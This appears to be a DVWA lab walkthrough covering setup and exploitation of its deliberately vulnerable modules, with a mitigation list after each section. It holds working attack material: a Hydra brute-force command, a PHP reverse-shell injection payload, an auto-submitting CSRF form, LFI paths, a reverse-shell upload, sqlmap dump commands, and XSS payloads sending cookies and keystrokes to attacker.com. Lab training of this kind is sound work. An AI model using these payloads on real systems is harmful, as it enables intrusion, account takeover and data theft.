DVWA provides an official Docker image that lets you deploy it instantly.
Make sure Docker and Docker Compose are installed:
# On Debian/Ubuntu/Kali
sudo apt update
sudo apt install docker.io docker-compose -y
# Verify installation
docker --version
docker compose version
docker pull vulnerables/web-dvwa
docker run --rm -it -p 8080:80 vulnerables/web-dvwa
🟢 DVWA will now be accessible at: 👉 http://localhost:8080 or http://127.0.0.1:8080
Use the default credentials:
Username: admin
Password: password
- Go to:
http://localhost:8080/setup.php
- Click “Create / Reset Database”
- Login again at
http://localhost:8080/login.php
- DVWA intentionally contains security vulnerabilities.
- Use only in an isolated environment (like a VM or Docker).
- Never expose DVWA to the public internet.
Tool: THC Hydra v9.5
Target: DVWA Brute Force Module
Command:
hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost http-post-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect"

16 valid passwords identified:
- 123456
- password
- 123456789
- princess
- iloveyou
- [12 more...]
- No account lockout
- No rate limiting
- Weak passwords allowed
- Implement account lockout
- Enforce strong passwords
- Add rate limiting
Vulnerability: OS Command Injection
Target: DVWA Command Execution Module
Payload:
127.0.0.1; /usr/bin/php -r '$sock=fsockopen("172.20.10.13",4444);exec("sh <&3 >&3 2>&3");'



127.0.0.1; which php
- Injection Point: IP address parameter
- Reverse Shell: PHP backdoor to attacker IP
172.20.10.13:4444
- Result: Full system compromise with root access
- Input validation and sanitization
- Use of parameterized commands
- Principle of least privilege
Type: Cross-Site Request Forgery (CSRF)
Risk: High
Location: DVWA Password Change Function
Endpoint: http://localhost/vulnerabilities/csrf/
GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
The password can be changed using the vuln request by modifying the parameters password_new and password_conf
<html>
<body>
<form action="http://localhost/vulnerabilities/csrf/" method="GET">
<input type="hidden" name="password_new" value="attacker123">
<input type="hidden" name="password_conf" value="attacker123">
<input type="submit" name="Change" value="Change">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Unauthorized password change for authenticated users
- Full account takeover
- No user interaction required
- Implement CSRF tokens
- Change GET to POST for state-changing operations
- Add SameSite cookies and referrer validation
Type: Local File Inclusion
Risk: Critical
Location: DVWA File Inclusion Module
Parameter: page
http://localhost/vulnerabilities/fi/?page=../../../../../etc/passwd
http://localhost/vulnerabilities/fi/?page=file1.php
- Read sensitive system files (
/etc/passwd
) - Potential source code disclosure
- Path traversal to arbitrary file access

- Implement input validation
- Use whitelist of allowed files
- Restrict directory traversal characters
Type: Unrestricted File Upload → RCE
Risk: Critical
Location: DVWA File Upload Module
Security Level: Medium
- File:
php-reverse-shell.php
- Bypass Method: Content-Type changed to
image/jpeg
- Upload Path:
../../../hackable/uploads/php-reverse-shell.php
nc -nlvp 4444
- Listener: Attacker machine port 4444
- Shell Access: Successful connection caught
- Remote code execution
- Full system compromise
- Web server privilege access



- Validate file content, not just headers
- Implement file type verification
- Restrict executable upload directories


Automated Commands:
# Save request to file first, then:
sqlmap -r request.txt -p id --batch --dbs
sqlmap -r request.txt -p id --batch -D dvwa --tables
sqlmap -r request.txt -p id --batch -D dvwa -T users --dump


Automated Commands:
# Save request to file first, then:
sqlmap -r request.txt -p id --batch --technique=B --dbs
sqlmap -r request.txt -p id --batch --technique=B -D dvwa -T users --dump
# Simple SQLi
sqlmap -r request.txt -p id --batch --current-db
# Blind SQLi
sqlmap -r request.txt -p id --batch --technique=B --current-db
Note: Save HTTP requests to request.txt
before running SQLMap commands.
// Vulnerable
$query = "SELECT * FROM users WHERE id = $id";
// Secure - Prepared Statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
- Use Prepared Statements (PDO/MySQLi)
- Implement Input Whitelisting
- Apply Least Privilege Principle to DB users
- Enable Web Application Firewall (WAF)
- Regular Security Patching
- Never concatenate user input in queries
- Use ORM/Query Builders when possible
- Validate & Sanitize all inputs
- Implement Proper Error Handling (no detailed errors to users)
- Code Review for SQLi vulnerabilities
- Penetration Testing & Security Audits
- Automated Security Scanning in CI/CD
Remember: Parameterized queries are the most effective defense against SQL injection attacks.
How it works: Malicious script is reflected off a web server in response to user input
- Attack vector: URL parameters, form inputs, search fields
- Impact: Steal sessions, redirect users, deface websites


Example Attack:
http://vulnerable-site.com/search?q=<script>alert('XSS')</script>
How it works: Malicious script is stored on the server and executed when accessed
- Attack vector: Comments, user profiles, forum posts, databases
- Impact: Affects all users, persistent threat


Example Attack:
<!-- Malicious comment stored in database -->
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie)
</script>
How it works: Vulnerability exists in client-side code manipulating the DOM
- Attack vector: URL fragments, client-side JavaScript
- Impact: Client-side only, no server interaction needed


Example Attack:
// Vulnerable code
document.getElementById('output').innerHTML = window.location.hash.substring(1);
// Attack: http://site.com#<img src=x onerror=stealCookies()>
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(document.domain)>
<!-- Cookie theft -->
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
<!-- Keylogger -->
<script>document.onkeypress=function(e){fetch('http://attacker.com/?k='+e.key)}</script>
<!-- CSRF attack -->
<script>
fetch('/change-email', {
method: 'POST',
body: 'email=attacker@evil.com'
})
</script>
1. Input Validation
$clean = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
2. Security Headers
Content-Security-Policy: default-src 'self'
X-XSS-Protection: 1; mode=block
3. Safe Coding
- Validate all inputs
- Encode all outputs
- Use HTTPOnly cookies
- Avoid
innerHTML
Never trust user input - always validate and encode.